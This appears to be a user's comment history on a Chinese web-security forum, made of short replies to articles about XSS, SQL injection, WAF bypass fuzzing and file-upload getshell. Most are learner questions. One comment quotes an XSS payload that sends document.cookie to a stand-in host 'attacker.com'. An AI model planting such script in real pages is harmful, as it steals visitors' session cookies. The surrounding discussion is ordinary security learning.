u****

评论了 XSS由浅入深

这行代码`<script> new Image().src = "http://attacker.com/log?c=" + document.cookie;</…

评论了 sql注入如何挖掘（一）

好文章，这Google dorking才是我最需要的

评论了 记一次绕过waf的任意文件上传

不会java和jsp，哎，看不懂，前面那个playload尝试不同后缀名的写法能看下吗

评论了 从SQL注入绕过最新安全狗WAF中学习fuzz

@quan9i 你第一图是add了两个$吗？我是add了两个，应该没错才对啊，不知道哪里出了问题

评论了 从SQL注入绕过最新安全狗WAF中学习fuzz

@quan9i 我就一个////可以绕过，其他的不行，照你这么说，////上面那几个应该可以才对啊

评论了 记一次某大学sql注入到getshell

“ char(47)就是’/’，立马想到可以通过这个遍历目录、找路径 ” 怎么现实的？下面那些图太小，看不清楚

评论了 从SQL注入绕过最新安全狗WAF中学习fuzz

不太懂，为什么先前你爆破时 //// 那里有什么显示出能用这个吗？ 其他长度也是993，状态200啊

评论了 安全帮－零基础web安全学习终极攻略

2.1和2.2要学两周吗？有什么资料或视频吗？不知道看哪些